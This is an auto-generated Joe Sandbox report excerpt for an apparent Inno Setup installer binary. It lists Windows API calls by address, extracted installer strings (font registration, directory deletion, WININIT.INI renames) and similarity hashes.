                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseFontMessageNotifyOpenResourceSendValue
                                                                                          • String ID: AddFontResource$Failed to open Fonts registry key.$Failed to set value in Fonts registry key.
                                                                                          • API String ID: 955540645-649663873
                                                                                          • Opcode ID: f6cb4db48621d05014dac95341ab5faf08594db0be4636be460d29a68d9f0f75
                                                                                          • Instruction ID: 122e39bb1ea2b43e4c2a7da55aa69ddad999e5e54c07bca5f4119535fc7344d3
                                                                                          • Opcode Fuzzy Hash: f6cb4db48621d05014dac95341ab5faf08594db0be4636be460d29a68d9f0f75
                                                                                          • Instruction Fuzzy Hash: 6921E271741204BBDB10EAA68C46FAE67AC9B14704F208477B904EB3C3DA7C9E01866D
                                                                                          APIs
                                                                                            • Part of subcall function 00416410: GetClassInfoA.USER32(00400000,?,?), ref: 0041647F
                                                                                            • Part of subcall function 00416410: UnregisterClassA.USER32(?,00400000), ref: 004164AB
                                                                                            • Part of subcall function 00416410: RegisterClassA.USER32(?), ref: 004164CE
                                                                                          • GetVersion.KERNEL32 ref: 00462E60
                                                                                          • SendMessageA.USER32(00000000,0000112C,00000004,00000004), ref: 00462E9E
                                                                                          • SHGetFileInfo.SHELL32(00462F3C,00000000,?,00000160,00004011), ref: 00462EBB
                                                                                          • LoadCursorA.USER32(00000000,00007F02), ref: 00462ED9
                                                                                          • SetCursor.USER32(00000000,00000000,00007F02,00462F3C,00000000,?,00000160,00004011), ref: 00462EDF
                                                                                          • SetCursor.USER32(?,00462F1F,00007F02,00462F3C,00000000,?,00000160,00004011), ref: 00462F12
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ClassCursor$Info$FileLoadMessageRegisterSendUnregisterVersion
                                                                                          • String ID: Explorer
                                                                                          • API String ID: 2594429197-512347832
                                                                                          • Opcode ID: 271d5cc6534746d744017855cbe3809792a4a5bc456b5a0a77df68c724b1ffee
                                                                                          • Instruction ID: b0f6820fd5a5ea072646c086af9eca81c98a3cd1ffd9b7ca0f87214cf94a4ba1
                                                                                          • Opcode Fuzzy Hash: 271d5cc6534746d744017855cbe3809792a4a5bc456b5a0a77df68c724b1ffee
                                                                                          • Instruction Fuzzy Hash: CD21E7307403047AEB15BB759D47B9A3798DB09708F4004BFFA05EA1C3EEBD9901966D
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,GetFinalPathNameByHandleA,021C2BD0,?,?,?,021C2BD0,00478534,00000000,00478652,?,?,-00000010,?), ref: 00478389
                                                                                          • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0047838F
                                                                                          • GetFileAttributesA.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,021C2BD0,?,?,?,021C2BD0,00478534,00000000,00478652,?,?,-00000010,?), ref: 004783A2
                                                                                          • CreateFileA.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,021C2BD0,?,?,?,021C2BD0), ref: 004783CC
                                                                                          • CloseHandle.KERNEL32(00000000,?,?,?,021C2BD0,00478534,00000000,00478652,?,?,-00000010,?), ref: 004783EA
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FileHandle$AddressAttributesCloseCreateModuleProc
                                                                                          • String ID: GetFinalPathNameByHandleA$kernel32.dll
                                                                                          • API String ID: 2704155762-2318956294
                                                                                          • Opcode ID: 606546fc07dcf4a3bd117f62e36919ba8c62e6b487fb6962041f4ee6dba1ecda
                                                                                          • Instruction ID: 2a72e966618face2f1bd82d2a524167157479a72732682c44667b4342ad9b4bf
                                                                                          • Opcode Fuzzy Hash: 606546fc07dcf4a3bd117f62e36919ba8c62e6b487fb6962041f4ee6dba1ecda
                                                                                          • Instruction Fuzzy Hash: 370180A07C070536E520316A4C8AFBB654C8B50769F14863FBA1DFA2D3FDED9D06016E
                                                                                          APIs
                                                                                          • RtlEnterCriticalSection.KERNEL32(0049B420,00000000,00401B68), ref: 00401ABD
                                                                                          • LocalFree.KERNEL32(0056EB78,00000000,00401B68), ref: 00401ACF
                                                                                          • VirtualFree.KERNEL32(?,00000000,00008000,0056EB78,00000000,00401B68), ref: 00401AEE
                                                                                          • LocalFree.KERNEL32(0056FB78,?,00000000,00008000,0056EB78,00000000,00401B68), ref: 00401B2D
                                                                                          • RtlLeaveCriticalSection.KERNEL32(0049B420,00401B6F), ref: 00401B58
                                                                                          • RtlDeleteCriticalSection.KERNEL32(0049B420,00401B6F), ref: 00401B62
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
                                                                                          • String ID: xV
                                                                                          • API String ID: 3782394904-2633863268
                                                                                          • Opcode ID: ef0d8b2142be7cf42810e170793bf0a6b8446fdea194a224c38922696d0a74e0
                                                                                          • Instruction ID: 79795942c165c44483fb09e1962e32eaca51f8de38df00e9c029d8aa05623ce8
                                                                                          • Opcode Fuzzy Hash: ef0d8b2142be7cf42810e170793bf0a6b8446fdea194a224c38922696d0a74e0
                                                                                          • Instruction Fuzzy Hash: 3B118E30A003405AEB15AB65BE85B263BA5D761B08F44407BF80067BF3D77C5850E7AE
                                                                                          APIs
                                                                                          • GetLastError.KERNEL32(00000000,00459F8E,?,00000000,00000000,00000000,?,00000006,?,00000000,0049785D,?,00000000,00497900), ref: 00459ED2
                                                                                            • Part of subcall function 004543F4: FindClose.KERNEL32(000000FF,004544EA), ref: 004544D9
                                                                                          Strings
                                                                                          • Failed to delete directory (%d)., xrefs: 00459F68
                                                                                          • Failed to delete directory (%d). Will delete on restart (if empty)., xrefs: 00459F47
                                                                                          • Stripped read-only attribute., xrefs: 00459E94
                                                                                          • Not stripping read-only attribute because the directory does not appear to be empty., xrefs: 00459EAC
                                                                                          • Deleting directory: %s, xrefs: 00459E5B
                                                                                          • Failed to strip read-only attribute., xrefs: 00459EA0
                                                                                          • Failed to delete directory (%d). Will retry later., xrefs: 00459EEB
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseErrorFindLast
                                                                                          • String ID: Deleting directory: %s$Failed to delete directory (%d).$Failed to delete directory (%d). Will delete on restart (if empty).$Failed to delete directory (%d). Will retry later.$Failed to strip read-only attribute.$Not stripping read-only attribute because the directory does not appear to be empty.$Stripped read-only attribute.
                                                                                          • API String ID: 754982922-1448842058
                                                                                          • Opcode ID: 9c44e2e7f6fe757755561f6ca8568e0fef47b87f075e017b2858cb20ebfba709
                                                                                          • Instruction ID: b8d9b7298ea7c3337bda5d500217c07e27fbd6b384233f4239b27a523d6d10d0
                                                                                          • Opcode Fuzzy Hash: 9c44e2e7f6fe757755561f6ca8568e0fef47b87f075e017b2858cb20ebfba709
                                                                                          • Instruction Fuzzy Hash: 1841A331A04208CACB10EB69C8413AEB6A55F4530AF54897BAC01D73D3CB7C8E0DC75E
                                                                                          APIs
                                                                                          • GetCapture.USER32 ref: 00422EA4
                                                                                          • GetCapture.USER32 ref: 00422EB3
                                                                                          • SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00422EB9
                                                                                          • ReleaseCapture.USER32 ref: 00422EBE
                                                                                          • GetActiveWindow.USER32 ref: 00422ECD
                                                                                          • SendMessageA.USER32(00000000,0000B000,00000000,00000000), ref: 00422F4C
                                                                                          • SendMessageA.USER32(00000000,0000B001,00000000,00000000), ref: 00422FB0
                                                                                          • GetActiveWindow.USER32 ref: 00422FBF
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CaptureMessageSend$ActiveWindow$Release
                                                                                          • String ID:
                                                                                          • API String ID: 862346643-0
                                                                                          • Opcode ID: b1a57ae8c862de22bc82aa702dd5f84040ee9f6a0804fcde46ad074f7f3e30fe
                                                                                          • Instruction ID: c6261992695b47722d84ffa44129b55dc5b2a4dad2f70b0012283783c1c7b094
                                                                                          • Opcode Fuzzy Hash: b1a57ae8c862de22bc82aa702dd5f84040ee9f6a0804fcde46ad074f7f3e30fe
                                                                                          • Instruction Fuzzy Hash: 24417230B00245AFDB10EB69DA86B9E77F1EF44304F5540BAF404AB2A2D778AE40DB49
                                                                                          APIs
                                                                                          • GetWindowLongA.USER32(?,000000F0), ref: 0042F2BA
                                                                                          • GetWindowLongA.USER32(?,000000EC), ref: 0042F2D1
                                                                                          • GetActiveWindow.USER32 ref: 0042F2DA
                                                                                          • MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 0042F307
                                                                                          • SetActiveWindow.USER32(?,0042F437,00000000,?), ref: 0042F328
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$ActiveLong$Message
                                                                                          • String ID:
                                                                                          • API String ID: 2785966331-0
                                                                                          • Opcode ID: 267c9eefe26e23fd4e765c6349420bb8bb9da3d18075eb1d96a464b655a4fe2f
                                                                                          • Instruction ID: ac844ef734d24c76dc9aa96f201b13a865b129e9c1b137beabd8cb6517960092
                                                                                          • Opcode Fuzzy Hash: 267c9eefe26e23fd4e765c6349420bb8bb9da3d18075eb1d96a464b655a4fe2f
                                                                                          • Instruction Fuzzy Hash: F931D271A00254AFEB01EFA5DD52E6EBBB8EB09304F9144BAF804E3291D73C9D10CB58
                                                                                          APIs
                                                                                          • GetDC.USER32(00000000), ref: 0042948A
                                                                                          • GetTextMetricsA.GDI32(00000000), ref: 00429493
                                                                                            • Part of subcall function 0041A1E8: CreateFontIndirectA.GDI32(?), ref: 0041A2A7
                                                                                          • SelectObject.GDI32(00000000,00000000), ref: 004294A2
                                                                                          • GetTextMetricsA.GDI32(00000000,?), ref: 004294AF
                                                                                          • SelectObject.GDI32(00000000,00000000), ref: 004294B6
                                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 004294BE
                                                                                          • GetSystemMetrics.USER32(00000006), ref: 004294E3
                                                                                          • GetSystemMetrics.USER32(00000006), ref: 004294FD
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Metrics$ObjectSelectSystemText$CreateFontIndirectRelease
                                                                                          • String ID:
                                                                                          • API String ID: 1583807278-0
                                                                                          • Opcode ID: 960ca5b6b9ec06081429caf0e2ae16fd4423d047ce8cb1d090ce01a2b2c84894
                                                                                          • Instruction ID: 8a5b62ad3b2811282b00f4aa11bc4c2c065e9b9ae855548013837f5c18493421
                                                                                          • Opcode Fuzzy Hash: 960ca5b6b9ec06081429caf0e2ae16fd4423d047ce8cb1d090ce01a2b2c84894
                                                                                          • Instruction Fuzzy Hash: 0F01C4A17087103BE321767A9CC6F6F65C8DB44358F84043BF686D63D3D96C9C41866A
                                                                                          APIs
                                                                                          • GetDC.USER32(00000000), ref: 0041DE27
                                                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041DE31
                                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 0041DE3E
                                                                                          • MulDiv.KERNEL32(00000008,00000060,00000048), ref: 0041DE4D
                                                                                          • GetStockObject.GDI32(00000007), ref: 0041DE5B
                                                                                          • GetStockObject.GDI32(00000005), ref: 0041DE67
                                                                                          • GetStockObject.GDI32(0000000D), ref: 0041DE73
                                                                                          • LoadIconA.USER32(00000000,00007F00), ref: 0041DE84
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ObjectStock$CapsDeviceIconLoadRelease
                                                                                          • String ID:
                                                                                          • API String ID: 225703358-0
                                                                                          • Opcode ID: 93123cf7b7da28845296a778695a34f9ae7968dfa7e72d2685fd09fde09bf652
                                                                                          • Instruction ID: 282f56568f1177e4dad385ec7f61a974d29090d827cf1f87eb40c920fa9ca7e8
                                                                                          • Opcode Fuzzy Hash: 93123cf7b7da28845296a778695a34f9ae7968dfa7e72d2685fd09fde09bf652
                                                                                          • Instruction Fuzzy Hash: 4C1142706457015EE340BFA66E52B6A36A4D725708F40413FF609AF3D1D77A2C448B9E
                                                                                          APIs
                                                                                          • LoadCursorA.USER32(00000000,00007F02), ref: 00463344
                                                                                          • SetCursor.USER32(00000000,00000000,00007F02,00000000,004633D9), ref: 0046334A
                                                                                          • SetCursor.USER32(?,004633C1,00007F02,00000000,004633D9), ref: 004633B4
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Cursor$Load
                                                                                          • String ID: $ $Internal error: Item already expanding
                                                                                          • API String ID: 1675784387-1948079669
                                                                                          • Opcode ID: 040729a671edf880b94918ceea5f8eaec20fdfbf8da854279a56862745118dff
                                                                                          • Instruction ID: e4e85f4aa3fa623d7d3a169fbc538aa22306e9421cedfdc69a3031d12d347dae
                                                                                          • Opcode Fuzzy Hash: 040729a671edf880b94918ceea5f8eaec20fdfbf8da854279a56862745118dff
                                                                                          • Instruction Fuzzy Hash: 4CB18270604284EFDB11DF29C545B9ABBF1BF04305F1484AAE8469B792DB78EE44CB4A
                                                                                          APIs
                                                                                          • WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00453E17
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: PrivateProfileStringWrite
                                                                                          • String ID: .tmp$MoveFileEx$NUL$WININIT.INI$[rename]
                                                                                          • API String ID: 390214022-3304407042
                                                                                          • Opcode ID: 262666494607197906d7283235c4c76affd32b2b0fdb9ef9cba9b9ea75353bac
                                                                                          • Instruction ID: 4c4b1d7f09994941c57eaafc4db68242d6a3f6c21ecd3f2b5b8f846a746055a2
                                                                                          • Opcode Fuzzy Hash: 262666494607197906d7283235c4c76affd32b2b0fdb9ef9cba9b9ea75353bac
                                                                                          • Instruction Fuzzy Hash: 40911434E002099BDB01EFA5D842BDEB7F5AF4874AF608466E90077392D7786E49CB58
                                                                                          APIs
                                                                                          • GetClassInfoW.USER32(00000000,COMBOBOX,?), ref: 00476CA9
                                                                                          • SetWindowLongW.USER32(00000000,000000FC,00476C04), ref: 00476CD0
                                                                                          • GetACP.KERNEL32(00000000,00476EE8,?,00000000,00476F12), ref: 00476D0D
                                                                                          • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00476D53
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ClassInfoLongMessageSendWindow
                                                                                          • String ID: COMBOBOX$Inno Setup: Language
                                                                                          • API String ID: 3391662889-4234151509
                                                                                          • Opcode ID: 1db359e320ab2741222256d54ad499686456584f5ec697b8868a090b3fdd66eb
                                                                                          • Instruction ID: b13fa11fcbd9abdf7db93726dac51e4442bd67f198c8610d2c1064f44be53319
                                                                                          • Opcode Fuzzy Hash: 1db359e320ab2741222256d54ad499686456584f5ec697b8868a090b3fdd66eb
                                                                                          • Instruction Fuzzy Hash: 46812C346006059FDB10DF69D985AEAB7F2FB09304F15C1BAE808EB762D778AD41CB58
                                                                                          APIs
                                                                                          • GetSystemDefaultLCID.KERNEL32(00000000,00408968,?,?,?,?,00000000,00000000,00000000,?,0040996F,00000000,00409982), ref: 0040873A
                                                                                            • Part of subcall function 00408568: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408633,?,00000000,00408712), ref: 00408586
                                                                                            • Part of subcall function 004085B4: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,004087B6,?,?,?,00000000,00408968), ref: 004085C7
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: InfoLocale$DefaultSystem
                                                                                          • String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
                                                                                          • API String ID: 1044490935-665933166
                                                                                          • Opcode ID: 99a58aab46255149f4b24f4520dbd6929c7443738739b227c4cc8c7d24f61a81
                                                                                          • Instruction ID: 5c6fde8006682913ecab3173e7335377554a92ac61a87523d81808753b4ec1a9
                                                                                          • Opcode Fuzzy Hash: 99a58aab46255149f4b24f4520dbd6929c7443738739b227c4cc8c7d24f61a81
                                                                                          • Instruction Fuzzy Hash: 7D516C24B00108ABDB01FBA69E4169EB7A9DB94308F50C07FA181BB3C3CE3DDA05975D
                                                                                          APIs
                                                                                          • GetVersion.KERNEL32(00000000,004118F9), ref: 0041178C
                                                                                          • InsertMenuItemA.USER32(?,000000FF,00000001,0000002C), ref: 0041184A
                                                                                            • Part of subcall function 00411AAC: CreatePopupMenu.USER32 ref: 00411AC6
                                                                                          • InsertMenuA.USER32(?,000000FF,?,?,00000000), ref: 004118D6
                                                                                            • Part of subcall function 00411AAC: CreateMenu.USER32 ref: 00411AD0
                                                                                          • InsertMenuA.USER32(?,000000FF,?,00000000,00000000), ref: 004118BD
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Menu$Insert$Create$ItemPopupVersion
                                                                                          • String ID: ,$?
                                                                                          • API String ID: 2359071979-2308483597
                                                                                          • Opcode ID: 4986dcd06abefbee5f666d79fc26290c702fe8a84b14e195092edf3558bd7871
                                                                                          • Instruction ID: ecf66c9774bccec907b621c371347452b74b7622051e058d8a4a73451c3e974f
                                                                                          • Opcode Fuzzy Hash: 4986dcd06abefbee5f666d79fc26290c702fe8a84b14e195092edf3558bd7871
                                                                                          • Instruction Fuzzy Hash: D7510674A00245ABDB10EF6ADC816EA7BF9AF09304B11857BF904E73A6D738DD41CB58
                                                                                          APIs
                                                                                          • GetObjectA.GDI32(?,00000018,?), ref: 0041BF28
                                                                                          • GetObjectA.GDI32(?,00000018,?), ref: 0041BF37
                                                                                          • GetBitmapBits.GDI32(?,?,?), ref: 0041BF88
                                                                                          • GetBitmapBits.GDI32(?,?,?), ref: 0041BF96
                                                                                          • DeleteObject.GDI32(?), ref: 0041BF9F
                                                                                          • DeleteObject.GDI32(?), ref: 0041BFA8
                                                                                          • CreateIcon.USER32(00400000,?,?,?,?,?,?), ref: 0041BFC5
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
